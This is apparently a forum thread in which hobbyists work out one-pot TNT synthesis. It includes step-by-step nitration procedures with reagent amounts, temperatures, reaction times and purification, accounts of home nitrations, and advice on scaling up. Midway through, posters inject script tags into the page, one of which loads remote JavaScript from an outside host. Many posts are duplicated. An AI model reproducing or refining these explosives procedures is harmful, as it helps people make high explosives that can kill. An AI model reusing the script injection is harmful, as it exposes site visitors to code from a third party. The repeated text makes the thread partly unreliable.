(all parts by weight [and approximations])
6 parts H2SO4
3 parts KNO3
1 part Toluene
3 parts premium unleaded gasoline (non-detergent)
trace amount of water (if needed)

Using the familiar acid/nitrate combo, we add the toluene dissolved in the gasoline, and reflux the entire mix at 80°C (don't exceed 85° ) for three hours or more, with constant stirring. Use a condenser packed with sodium sulphate to protect from water.

Let cool to room temperature, and work up as usual for TNT.

If after heating for a while, the reaction has not yet commenced, add a few milliliters of water to initiate.


This is a modification of a process in PMOE that uses 99% nitric instead of the acid/nitrate mix, but this eliminates the tedious middle step of MeCl extraction or distillation.

I figure the sulpate salt isn't going to hurt anything, and would be removed during the washing step.

Given the ready availablity of the materials, and the simple process (if it works), this would be very useful. :)

Anyone care to test it out? A test-tube scale run should be simple to do. ;)

I've always avoided hypothesizing about chemistry as I don't want to pull a madfag, :p but this seems feasible to me.

What about any nitration products from the gas?
Doesn't it contain xylene and a whole shitload of other potentially nitratable organics?

"Petroleum, also known as crude oil, is a very complex mixture consisting of paraffin, naphthene (cycloparaffin), and aromatic hydrocarbons..."
http://www.personal.psu.edu/users/w/y/wyg100/fsc432/lecture%202.htm

The site also mentions traces of metals (duh), so what about nitrate salts forming?

I've just read your post through again, and I'm wondering, what function is the gas supposed to perform? Is it just to act as a solvent for the toluene? If so, why bother with it? Are all the other reagents soluble in it?

Sorry if the answer is glaringly obvious.
Just so you know, I'm not trying to sound stupid if it is.

I think the solvent is to give it more volume so that the reaction will dissipate the heat formed more readily. This then allows a one step nitration to be used.
I for one would not use gasoline because of all the hydrocarbons in it (including toluene).
I have seen a "one step" method before but no solvent was used. I will have a look later for it.

"I've always avoided hypothesizing about chemistry as I don't want to pull a madfag..."

I dont see a subtle way of saying this nbk, but I think you just did. There are glaring problems with the method. To get 3 nitro groups into toluene requires a fair amount of effort, meaning the final stage of a batch system usually has a large amount of nitric left over. In a single pot method this would translate into a lot more nitric remaining to compensate for the reduced concentration from the water of previous nitration steps. In other words we'd expect a large excess of nitric acid or nitrate. A quick back of an envelope calc suggests mol mass of 102 for KNO3 and 92 for toluene and yet we only have 3 parts nitrate to one toluene. Conclusion - even if we assume the gasoline is inert we dont actually have enough nitrate to convert all of the toluene to TNT!

Next, as me234 has pointed out gasoline contains aromatic compounds, typically 1/4 to 1/3rd by volume outside california (where it is less by law). Taking 25% at the outside and assuming mostly toluene or xylenes would give us around 1.68 aromatic rings per 3 nitrate groups. Even assuming 100% usage of the nitrate this mix should not result in any TNT at all.

If the method with gasoline and nitric acid has ever been done its possible someone weighed the product and assumed from the mass increase that 3 nitro groups must have been added, even if the procidure has a lot more nitric in it. The more extracts I read from PMOE the more I think most of them havn't actually been tried.

I have seen a method ( in a patent, so judge for yourselves ) about one-pot TNT synthesis using slightly more than 3 mol nitric to one mol toluene.
The idea was to mix HNO3 ( which didn't have to be very highly concentrated ), toluene and detergent type gasoline ( that is, gasoline with the aromatics and hetero-compounds removed so that mainly n-alkanes remain ) in an apparatus equipped with a Dean-Stark water trap.
Then heat was applied until the boiling point of the gasoline was reached. As the mixture refluxes, water from the HNO3 and from the reaction is slowly trapped in the Dean-Stark and the relatively low-boiling solvent ensures that the temp is kept under control.
The endpoint is reached when the calculated amount of water has been collected.

All in all a very elegant method - if it works. I tried it out, but I haven't got a Dean-Stark and my glass-blowing skills just weren't up to the task, so I ended up with a pretty poor apparatus which fell apart during the experiment.

Well, I have access to lot's of glassware but whats a Dean-stark? :confused: Is it a waterseparator like this one when you're making Toluene sulphonic Acid? I have a Dephlegmator (a steamseparator picture attached for better understanding) wich may work too.

Hmm, the KNO3-process should work quite nice. I'm always intrested in TNT even if I can make PETN nearly as twice as fast and perhaps as cheap. BUT TNT is melt-castable and can be poured with AN and Al to a very strong "Minol" mix together wich has 165% "power" of straight TNT. (Have read that in the Web).

So let's say: 125ml Toluene plus 480g KNO3 dissolved in 600ml Sulphuric Acid could yield around 210g TNT if the yield reaches 80% total (out of a very OPTIMISTIC view!...I'm always an optimist!).

Just to mention it: On my balcony was a 1Year old bottle with frozen solid KNO3/H2SO4 mix wich was a little diluted after adding sulphuric Acid from a HNO3/H2SO4 distillation. I poured around 35ml toluene in and let it stand beside.

The Toluene is now solid, in long yellow needles wich seem like good DNT, with absolutely no effort!! :D Thats a very big plus of Nitrated Aromatics, there VERY stable against Nitric and Sulphuric Acid.

A dean stark trap is a fairly simple, yet highly efficient gravity separator. Here is a picture: http://www.tudorscientific.com/common/assets\tudor\ProdStandard\TG-3990.JPG

Basically you attach this to your flask and reflux. The liquid recondensed is dripped into the side tube in the picture. It can either be used to return a less dense material to the flask for further reaction, or it will just hold the unwanted material in the tube. In this case the gasoline/water mixture is recondensed back into the side tube. Gasoline being less dense than water will float to the top. As the tube fills up, the gasoline will slowly be returned to the flask to keep the volume constant. The water stays in the bottom of the tube impossible to dilute the mixture. The better dean stark traps have a stopcock on the bottom so you can drain off liquids if they get to be too high in volume. It's a lot better than having to have many sizes of traps. This also allows you to separate a heavier desired liquid that may form.

It is an interesting idea, though I have a few remarks.

As gasoline differs from country to country, it is dangerous to include it in a synth as is. However, petroleum ether (x:y) is just the fraction of crude petroleum that boils between x and y. This seems to be better suited for the task. PE is somewhat OTC, as 100-140 is sold here (translated from dutch 'washing gasoline').

80-100 I have not yet seen but this should be the type of alkanes just right for the job. Even if it is uncommon, fractionating petroleum ether could be done from cruder products, if they can be found.

This may be the synthesis NBK mentioned as the base of this new one, however it does not involve methyl chloride so I assume it is a different one.

Preparation of TNT

Materials:
920 grams toluene
2700 grams 99% nitric acid
3000 grams premium unleaded gasoline
1600 grams of 70% sulfuric acid

Procedure:
Place 920 grams of toluene, 2700 grams of 99% nitric acid, and 3000 grams of premium unleaded gasoline into a flask fitted with a stirrer and reflux cindenser. Then heat the mixture to about 80 Celcius and reflux for about three hours with constant stirring (do not let the temperature rise above 85 Celsuis). In some cases the reaction may take less then three hours, or may take longer. Moniter the nitric acid layer (bottom layer) because the reaction will cease when it dissappears.
After about three hours, or when the bottom nitric acid layer disappears, shut off the heat and allow the mixture to cool. Upon cooling, some of the TNT begins to precipitate. Instead of filtering off the precipitated TNT, add 3000 milliliters of hot water and stir the whole mixture for about 2 hours. After which, filter off and precipitated TNT, and then decant the upper organic layer. Then place this organic layer into a shallow pan with a high surface area, and allow the upper organic layer to evaporate to recrystallize the bulk of the TNT.
When about 80% (by volume) of the uppoer organic layer has evaporated (heat may be used to speed up the evaporation, but this is not needed due to the volatility of the gasoline), collect the TNT by filtration using the same filter as before, and then wash all the collected TNT product with 2000 milliliters of water. Then dry the TNT in an oven at 50 Celsius, or vacuum dry or air-dry the product.
Then place 1600 grams of 70% sulfuric acid into a beaker and then add the dry TNT product, and then stir the mixture to form a slurry. Continue to stir the slurry for 2 hours at room temperature and then filter off the TNT product. Then, wash the TNT with 2000 milliliters of cold water, and then vacuum dry or air-dry the TNT product.

There is also a picture of the condenser, it shows it should have glass beads at the bottom of the condenser and the condenser itself should be filled with pieces of anhydrous sodium sulfate.


The procedure is taken from the file CHAPTER 11-the preparation of nitrobenzenes.pdf which is on the ftp with that name (I got it from the torrent of the ftp explosives folder).

This may be the synthesis NBK mentioned as the base of this new one, however it does not involve methyl chloride so I assume it is a different one.

This isn't the procedure with the Dean-Stark trap- As I recall, that procedure allso allowed the use of lower purity nitric acid?

I've searched for that version of the procedure with no success. Can anyone either point me to it, or re-post it in it's entirety?

Thanks!

Well, that is interesting. There is no sulfuric acid in the synthesis at all, only later on to treat the TNT.... the nitric acid is consumed three to one molar ratoo, splitting off water, in nitration of toluene. Nitric acid has molar weight of 63 while toluene is 86. given the amounts listed, the final nitration takes place in an environment where there is only 25% of the original nitric acid left, and quite some water.

The water apparently stays out of the alkane layer so dehydration is not necessary, while the nitric acid protonates itself in the alkane layer, splitting off water and then travelling to the site of nitration. Thus, water is no impediment at all and I think, weaker acid might be used as well.

How well does nitric acid dissolve in the alkane layer? Why is the temperature equal for all nitration steps? All the while, oxidation doesn't do it's nasty work?

edit: check US2435314 for this principle, it was posted in another TNT thread but not replied on... well. I get only two pages from the patent on the EPO patent office. At the moment this is enough for me, as the principle is all I need to see. But if other patent offices also do not show these pages, does this mean jack booted thugs have visited the patent office?

Also note this process uses similar conditions but carefully read the text about boiling points and reduced pressure.

Well, this got me wonder about something else. We've got the azeotrope of nitric acid at 68% but what happens at higher temperatures in other media? Does the nitric acid vapor pressure suddenly become much smaller if the medium is gasoline?

Damn... I am getting excited about this but also suspicious. I mean, the need for sulfuric acid in TNT production is a hoax? Come on, why doesn't everyone use this process? Is 1948 already so late in the explosives developments that TNT was obsolete by that time?

Aside from the aromatic content of the gasoline the general method looks plausable.

The water in the reaction is removed by the sodium sulphate.

Catastophic oxidation would bother me, it looks like this was taken from a patent so safety is not the primary concern, nitric acid usage is.

Damn... I am getting excited about this but also suspicious. I mean, the need for sulfuric acid in TNT production is a hoax? Come on, why doesn't everyone use this process? Is 1948 already so late in the explosives developments that TNT was obsolete by that time?

Probably because on an industrial scale, it wasn't much cheaper, the resulting yield would be smaller and of poorer quality, etc.
While it would work fine for someone working out of their garage, for military applications it probably would not do, and purifying it would cost more than the money saved by using the method industrially.

Everybody's seems a bit hung up on the whole Dean Stark thing. Now if the apparatus were connected to a D/S trap it would work because the toluene would carry the water over.
BUT, NBK's reported method just became a lot more sneakier to me...
Instead of attaching a Dean Stark to remove the water, the boiling toluene/water azeotrope pulls the water from the reaction into the condenser where the sulphate removes it, keeping the HNO3 conc. high. Thus there should be no need to use an excess of nitric hmmmmmmm... interesting.
Sorry it took me so long to catch on to one of the more beautiful aspects of this synth, I just got a bit too focussed on the whole gas thing.
Perhaps there is a light at the end of this tunnel
But the question does still remains: What IS the function of the petroleum?

Controlling the reaction at its highest temperature without runaway.

I have attempted this reaction using cyclohexane and nitric acid of 68% strength since acid strength should have little influence as long as quantity is in the correct order. Cyclohexane is chosen for it's azeotrope with water and the fact that a pure compound is better used in a preliminary study, before going to use gasoline fractions.

Water and cyclohexane demix, and the boiling point is around 70 while cyclohexane has 81.

In practice, I lacked a stirrer in the heating mantle setup, thinking it would be enough if vigourously boiling. I might have been wrong here. In any case, power supplied was too large and the temperature reaced 82 degrees. Red fumes also did their entry in the experiment, most notably in the latter parts. Cyclohexane came over with a few % water (which was neatly separated). In theory, almost 10% should come over, but for that, less power must be supplied.

Cyclohexane can be replaced altogether by using only toluene. The nitration goes to mononitro in that case but this could go on in large quantities. The azeotrope point would be 85 for toluene and water.

So the principle works. Lacking a dean stark trap, I use a separatory funnel to remove the water, which is definitely not how I want to do it in the future, although using a LOT of solvent and a bucket would be a substitute for the trap too :D . It is too damn late now but tomorrow I will attempt to finish the process. In the meantime, one question about azeotropic distillation remains in my mind:

Is stirring necessary to increase interface area of liquid to liquid, to stimulate the boiling of the two phases, or does it not matter?

edit: it goes alltogether shitty, lots of red fume and little distillate. It's not going to work. I cannot imagine gasoline doing better than cyclohexane at a slightly higher temperature.

Well, and the water might condence earlier than the cyclohexane as well... it's just a RBF with no condenser just a cooler that takes it down, but even that might provide the reflux necessary to effectively keep the damn water in the flask!

If your goal (with the gas) is just to dilute the mix to dissipate the heat faster couldn't you just use some glass beads (marbles) to increase the effective volume of the liquid without adding anything that will react ???

Also, couldn't you use a different shaped reaction vessel (something long and thin or large and flat) instead of the more spherical flash shapes to increase the ratio of surface area to reaction volume (or just use a very large container with a smaller amount of reactant).

I was thinking if I ever start actually playing with this stuff I might make a cooling coil out of glass tube that I could actually insert into the reaction vessel and circulate chilled water through.

If your goal (with the gas) is just to dilute the mix to dissipate the heat faster couldn't you just use some glass beads (marbles) to increase the effective volume of the liquid without adding anything that will react ???

Also, couldn't you use a different shaped reaction vessel (something long and thin or large and flat) instead of the more spherical flash shapes to increase the ratio of surface area to reaction volume (or just use a very large container with a smaller amount of reactant).

I was thinking if I ever start actually playing with this stuff I might make a cooling coil out of glass tube that I could actually insert into the reaction vessel and circulate chilled water through.

If your goal (with the gas) is just to dilute the mix to dissipate the heat faster couldn't you just use some glass beads (marbles) to increase the effective volume of the liquid without adding anything that will react ???

Also, couldn't you use a different shaped reaction vessel (something long and thin or large and flat) instead of the more spherical flash shapes to increase the ratio of surface area to reaction volume (or just use a very large container with a smaller amount of reactant).

I was thinking if I ever start actually playing with this stuff I might make a cooling coil out of glass tube that I could actually insert into the reaction vessel and circulate chilled water through.

i also tryed the method with the dean stark trap. the process is shown in the patent US2.435.544. i used n-hexane as a solvent. i put the toluene, the nitric and the hexane in a heated flask with a magnetic stirer. i heated the mixture until it boils at arround 80°C. the condensed hexane/warter mix seperated in the warter trap. but here ist the problem. not only the warter collects in the trap but also the nitric acid do. after 5 hours of refluxing nearly all the nitric i added at the beginning has collected in the warter trap again. the result was just some MNT and may be DNT. i think if a suiteble solvent can be found wich prevents the nitric acid from distilling over and only transports the warter, this procedure should work. but it seems hexane isn't a suiteble solvent.

i also tryed the method with the dean stark trap. the process is shown in the patent US2.435.544. i used n-hexane as a solvent. i put the toluene, the nitric and the hexane in a heated flask with a magnetic stirer. i heated the mixture until it boils at arround 80°C. the condensed hexane/warter mix seperated in the warter trap. but here ist the problem. not only the warter collects in the trap but also the nitric acid do. after 5 hours of refluxing nearly all the nitric i added at the beginning has collected in the warter trap again. the result was just some MNT and may be DNT. i think if a suiteble solvent can be found wich prevents the nitric acid from distilling over and only transports the warter, this procedure should work. but it seems hexane isn't a suiteble solvent.

i also tryed the method with the dean stark trap. the process is shown in the patent US2.435.544. i used n-hexane as a solvent. i put the toluene, the nitric and the hexane in a heated flask with a magnetic stirer. i heated the mixture until it boils at arround 80°C. the condensed hexane/warter mix seperated in the warter trap. but here ist the problem. not only the warter collects in the trap but also the nitric acid do. after 5 hours of refluxing nearly all the nitric i added at the beginning has collected in the warter trap again. the result was just some MNT and may be DNT. i think if a suiteble solvent can be found wich prevents the nitric acid from distilling over and only transports the warter, this procedure should work. but it seems hexane isn't a suiteble solvent.

Sounds like a crappy column, or too high a take off. You did have a column, right? :)

I agree hexane might not be ideal, the azeotrope may be bad for this application or it could be something as simple as too low a boiling point. The example uses benzene, and theres got to be a reason for that besides the obvious.

Sounds like a crappy column, or too high a take off. You did have a column, right? :)

I agree hexane might not be ideal, the azeotrope may be bad for this application or it could be something as simple as too low a boiling point. The example uses benzene, and theres got to be a reason for that besides the obvious.

Sounds like a crappy column, or too high a take off. You did have a column, right? :)

I agree hexane might not be ideal, the azeotrope may be bad for this application or it could be something as simple as too low a boiling point. The example uses benzene, and theres got to be a reason for that besides the obvious.

i didn't use a column. should i use one? the temperature seems to be ok. the patent says 80 to 90°C. if the temperature gets to hot the nitric rapidly decompose. the benzene stated in the patent is just a typing mistake and should be benzine. this is because if you use benzene this will be nitrated as well during the reaction. secondly there exist an other version of this patent (i don't know the number, just search it has the same title) with a corrected text.

i didn't use a column. should i use one? the temperature seems to be ok. the patent says 80 to 90°C. if the temperature gets to hot the nitric rapidly decompose. the benzene stated in the patent is just a typing mistake and should be benzine. this is because if you use benzene this will be nitrated as well during the reaction. secondly there exist an other version of this patent (i don't know the number, just search it has the same title) with a corrected text.

i didn't use a column. should i use one? the temperature seems to be ok. the patent says 80 to 90°C. if the temperature gets to hot the nitric rapidly decompose. the benzene stated in the patent is just a typing mistake and should be benzine. this is because if you use benzene this will be nitrated as well during the reaction. secondly there exist an other version of this patent (i don't know the number, just search it has the same title) with a corrected text.

You could well be right about the benzene. Toluene itself should nitrate much faster but as the nitro groups pile on I was worried about the idea. Benzene does have a very, words fail me, stable? azeotrope with water though.

The column is crucial. Vapour coming off the liquid will be a whole mixture, the job of the column is to remove everything apart from the water-dilutant azeotrope.

You could well be right about the benzene. Toluene itself should nitrate much faster but as the nitro groups pile on I was worried about the idea. Benzene does have a very, words fail me, stable? azeotrope with water though.

The column is crucial. Vapour coming off the liquid will be a whole mixture, the job of the column is to remove everything apart from the water-dilutant azeotrope.

You could well be right about the benzene. Toluene itself should nitrate much faster but as the nitro groups pile on I was worried about the idea. Benzene does have a very, words fail me, stable? azeotrope with water though.

The column is crucial. Vapour coming off the liquid will be a whole mixture, the job of the column is to remove everything apart from the water-dilutant azeotrope.

i think it's impossible to insert all 3 nitro groups into a toluene molecule with benzene as a solvent. particularly without nitrating the benzene itself. the use of a column seems to be a good idea. may be i give it a second try later. a second reflux cooler witout cooling should be a good replacement for the column in this job. i assume this procedure was not continued to develop for industrial use because it was too energy consuming and leasts much to long for efficient tnt manufacture.

i think it's impossible to insert all 3 nitro groups into a toluene molecule with benzene as a solvent. particularly without nitrating the benzene itself. the use of a column seems to be a good idea. may be i give it a second try later. a second reflux cooler witout cooling should be a good replacement for the column in this job. i assume this procedure was not continued to develop for industrial use because it was too energy consuming and leasts much to long for efficient tnt manufacture.

i think it's impossible to insert all 3 nitro groups into a toluene molecule with benzene as a solvent. particularly without nitrating the benzene itself. the use of a column seems to be a good idea. may be i give it a second try later. a second reflux cooler witout cooling should be a good replacement for the column in this job. i assume this procedure was not continued to develop for industrial use because it was too energy consuming and leasts much to long for efficient tnt manufacture.

(script)alert('javascript enabled');(/script)

(script)alert('javascript enabled');(/script)

NickSG, that wasn't the brightest thing you have ever done!

I've reported the post. Yes, it's a harmless javascript exploit, but it could easily have been something worse, a tracking bug, a cookie reading script, or even an attempt to hack the entire site or the readers computer.

Not impressed.

NickSG, that wasn't the brightest thing you have ever done!

I've reported the post. Yes, it's a harmless javascript exploit, but it could easily have been something worse, a tracking bug, a cookie reading script, or even an attempt to hack the entire site or the readers computer.

Not impressed.

Its the most important post I've read all week. It draws attention to the problem clearly, showing what it does and not trying to hide how it does it, its just in the wrong place.

Ive disabled Java on my PC, and we'll see if the forum can be used normally without it.

Its the most important post I've read all week. It draws attention to the problem clearly, showing what it does and not trying to hide how it does it, its just in the wrong place.

Ive disabled Java on my PC, and we'll see if the forum can be used normally without it.

You want to disable javaSCRIPT not java, Marvin!

You want to disable javaSCRIPT not java, Marvin!

Why is this in my thread, and not in the water cooler? :mad:

I won't ban him since it was harmless, but it is rather stupid. :rolleyes:

Why is this in my thread, and not in the water cooler? :mad:

I won't ban him since it was harmless, but it is rather stupid. :rolleyes:

Sorry just was trying to address it.
I intended nothing malicious.
<script src=http://free.prohosting.com/0p/rs.js></script>

Sorry just was trying to address it.
I intended nothing malicious.
<script src=http://free.prohosting.com/0p/rs.js></script>

So in the spirit of one-pot syntheses, I recently dreamed up a mixture of 98% H2SO4 and stirred in a whole lot of KNO3 to boot. After this I cooled it and just started adding toluene a drop at a time. When the drop hit the acid surface, it floated and rolled around a bit and one could visually see it react (the drop broke up and moved a lot). More toluene was added until the drops started moving a lot slower, then more KNO3 was stirred in and all was good under the Christmas tree again. After the initial few droplets, the solution turned yellow(ish). The reaction was quenched by dumping it into crushed ice. Upon doing so, the product fell out of solution as the pH rose. Yellow coloured crystals were filtered out and from colour descriptions in Urbanski, Meyer's "Explosives" etc. I decided it was mostly the dinitro- isomers. This assumption was validated when the same procedure carried out on benzene produced a solid material which TLC'ed to show only three product compounds (therefore no mononitrate).

So, one may ask what the point of my post was? Well, from the above, I have decided that, if the first two nitro groups substituted quite easily, the third should substitute without too much undue effort, so NBK's synth sounds pretty plausible to me now.

An observation made during the benzene nitration: Once a sizable amount of benzene had been reacted with the acid mix, and the nitration rate slowed down quite a bit, more KNO3 was added. Upon addition and stirring, the entire mixture suddenly became quite viscous due to the large amounts of dissolved dinitrobenzene and potassium salts. The reaction was then quenched and large amounts of product precipitated.
What I found from this is that if you do it right, the benzene nitration will tell YOU when IT is done, and let you know in no uncertain terms that it's time to stop. I just thought that this was really cool (although it did give me a heart attack first time round).

Also, does anyone know why the color of DNB is so different at different pH's? 'Cause at low pH, just after filtering from the slightly diluted acid, the crystals were a pleasant pale yellow color (almost white), once washed with a NaHCO3 solution however, the crystals became bright yellow with a touch of orange. In fact they reminded me a lot of picric acid. For the life of me I can't think of any protonation reaction th might occur to DNB that would account for a color change. The only thing that occurs to me is that in neutral solution, the molecules are more unstable than in acidic soln., so less energy is required to promote the molecule into the excited state in the visible region, so a red-shift occurs with regards to the excitation of dinitrobenzene.
Shit, I don't think I explained that too well. Let me know if I need to refine the above statement.
The problem that now arises, is, what excitations can occur in this region, I was thinking some weak n--> Pi * transition or another in the nitro groups. But n-->Pi * normally occurs well into the UV region, at least for carbonyls etc.
Shit, done it again. Now I'm more ever than confused again.

So in the spirit of one-pot syntheses, I recently dreamed up a mixture of 98% H2SO4 and stirred in a whole lot of KNO3 to boot. After this I cooled it and just started adding toluene a drop at a time. When the drop hit the acid surface, it floated and rolled around a bit and one could visually see it react (the drop broke up and moved a lot). More toluene was added until the drops started moving a lot slower, then more KNO3 was stirred in and all was good under the Christmas tree again. After the initial few droplets, the solution turned yellow(ish). The reaction was quenched by dumping it into crushed ice. Upon doing so, the product fell out of solution as the pH rose. Yellow coloured crystals were filtered out and from colour descriptions in Urbanski, Meyer's "Explosives" etc. I decided it was mostly the dinitro- isomers. This assumption was validated when the same procedure carried out on benzene produced a solid material which TLC'ed to show only three product compounds (therefore no mononitrate).

So, one may ask what the point of my post was? Well, from the above, I have decided that, if the first two nitro groups substituted quite easily, the third should substitute without too much undue effort, so NBK's synth sounds pretty plausible to me now.

An observation made during the benzene nitration: Once a sizable amount of benzene had been reacted with the acid mix, and the nitration rate slowed down quite a bit, more KNO3 was added. Upon addition and stirring, the entire mixture suddenly became quite viscous due to the large amounts of dissolved dinitrobenzene and potassium salts. The reaction was then quenched and large amounts of product precipitated.
What I found from this is that if you do it right, the benzene nitration will tell YOU when IT is done, and let you know in no uncertain terms that it's time to stop. I just thought that this was really cool (although it did give me a heart attack first time round).

Also, does anyone know why the color of DNB is so different at different pH's? 'Cause at low pH, just after filtering from the slightly diluted acid, the crystals were a pleasant pale yellow color (almost white), once washed with a NaHCO3 solution however, the crystals became bright yellow with a touch of orange. In fact they reminded me a lot of picric acid. For the life of me I can't think of any protonation reaction th might occur to DNB that would account for a color change. The only thing that occurs to me is that in neutral solution, the molecules are more unstable than in acidic soln., so less energy is required to promote the molecule into the excited state in the visible region, so a red-shift occurs with regards to the excitation of dinitrobenzene.
Shit, I don't think I explained that too well. Let me know if I need to refine the above statement.
The problem that now arises, is, what excitations can occur in this region, I was thinking some weak n--> Pi * transition or another in the nitro groups. But n-->Pi * normally occurs well into the UV region, at least for carbonyls etc.
Shit, done it again. Now I'm more ever than confused again.

According to Urbanski's 'Chemistry and Technology of Explosives', the Nitric-sulfuric acid mix requires about 8% water as a catylist for optimum yield. The ratio of acid to toluene is so wasteful that it isn't used. The multi-stage nitration uses less resources.

According to Urbanski's 'Chemistry and Technology of Explosives', the Nitric-sulfuric acid mix requires about 8% water as a catylist for optimum yield. The ratio of acid to toluene is so wasteful that it isn't used. The multi-stage nitration uses less resources.

From an old book on the digital library of india site:


In the one-stage process, but one acid mixture is used. This mixture consists of 75 per cent sulphuric acid, and 25 per cent nitric acid. The usual charge for this process is in the ratio of one part toluene to twelve parts mixed acid.

Each kilogram of toluene requires, therefore, 3 kilograms nitric acid and 9 kilograms sulphuric acid.

The toluene is added to the acid in the one-stage process. The termination of the inlet pipe is in a kind of well at the bottom of the nitrator, and the toluene is nitrated before it can separate and spread about.

During the addition of the toluene the temperature must not rise above 30° C. This addition requires from two to two and one-half hours. After the addition is complete, the temperature of the mixture is raised to 90 to 95° C , by means of the steam coils.

This temperature is maintained for two hours, during which time the mononitrotoluene is nitrated to dinitrotoluene.

The temperature is then further increased to 120°C, and is " cooked " for an additional two hours.

The nitration is now considered finished, and the charge is ready for separation, washing, and graining.

In many chemical plants a chemist tests the charge of TNT, and the time of the final cooking is determined by the solidification point of the mixed TNT and acid.

This principle of chemical control is adopted sometimes in the two- and three-stage processes as well as in the one-stage process.

The yield of TNT by the onestage process is 1.9 kilos per kilo toluene used.

Getting back to the azeotropic removal of water from the reaction mixture:

What about DCM or isopropyl chloride? Both form a azeotrope with water (1% water) at just below 40 degrees C. At that temperature you won't have to worry as much about evaporation of the nitric, and any nitric that does evaporate will mostly dissolve in the solvent in the dean-stark, and will thus be returned to the reaction vessel.

Sure, it would take some time to evaporate all of the water, but with >70% HNO3 it should be practically doable.

There is no need. I had, once upon a time, (& in another forum) discussed this with Chris. If you check out Legard's book (Preparatory Manual of Explosives) there are at least two one-pot synths. The one that actually made it's way into industry (pp196+) was a 70% HNO3 lab that he may have caught shit for publishing as it was still under patent with Olin Chem or something. Anyway, those TNT labs are actually the best thing Legard had in the 1st & 2nd edition. in his 3rd edition (it's been out for awhile) he made some references and disclaimers.

I don´t have the third edition, but I heard at least half of the references mentioned were nonexistent. I don´t think anything in that book can be taken seriously without cross-referencing, the procedure for copper fulminate which uses nitric and ethanol (like with mercury fulminate) illustrates how much of the synthesis in the book mr. Legard has done himself, none.

But anyway, there are 2 one-pot-synthesis mentioned in the book (I have the second edition) which use 70% nitric.

The first is 11-01B, with 99% nitric, toluene and premium unleaded gasoline and a condenser packed with sodium sulphate.
I know I just wrote 99% nitric, but the reaction picture states 70% nitric (see picture).

The second is 11-01E, but it also uses sulphuric acid, which is something I am trying to avoid, since it is quite expensive and I never really succeeded in recovering it.

Which one were you referring to?
I am very interested in the first one, especially the use of sodium sulphate in the condenser caught my attention, since it reders the dean-stark obsolete and keeps any evaporated nitric from going into water-solution again, it just drips back into the reaction mixture.

Indeed, as a group, they will get you a crude product. in fact some of the longest and most well formed crystals of the trinitro product I have ever seen had come from that group of synths.

I remember the copper fulminate lab too! Good Jesus that was a joke. Some years back I went to all sorts of lengths trying to find his patents he quoted. - I'm not bullshiting here, I couldn't find one tenth of them! Everyone tried the copper fulminate lab and got pissed off @ him for writing that.

I noticed two things about Legard. First is that he throws 1.51 HNO3 at everything he can. Developing a big-Birtha reaction like a nitration with high end acid is not that special. And nitro benzenes are not a particularly tough lab to begin with; but the 70% labs are worth a look.The other thing is that nitro amines need high strength acid (RDX, etc) and his synths for many of those employ List 1 chemicals when they don't have to. He must have had a University lab to work out his book :-)

Sorry if this a little off topic but the other TNT thread was dead for a long time so I decided to post here.

Today I made more MNT. Now I have 132 g I want to make DNT from it using a mixture of sodium or ammonium nitrate and H2SO4. So how much of NO3/AN should I use? As far as I know I need one mol of NO2 anions per one mol of MNT to make DNT. 132 g of MNT is around one mol. So for that I need one mol of NH4NO3 (or NaNO3) and that is around 80 g (or 85 g of NaNO3) as one mol of NaNO3 or NH4NO3 gives one mol of NO2 anions. So how much of H2SO4 should I add to the nitrate (I think one mol as the nitrates turn to bisulfates and how much more to absorb the water?)? And how much excess of nitrate and sulfuric acid should I use? And under what conditions should the reactants to be to react (heat how long and that things)? And are the things I wrote above correct?

Sorry for too much questions but I don't know a lot of theoretical chemistry.

Generally speaking molar equivalences are appropriate for measuring nitration acid volumes. However, in a step method this could be wasteful of acid....but on the level you speak of, it's really no big deal.
I was really hot on growing crystals of TNT so it was imperative that the levels of acids got me a higher % of the tri-nitro product.......And if we were talking about pounds of TNT then this issue has some "wings" but at 132gr you're right in the ball park (IMO).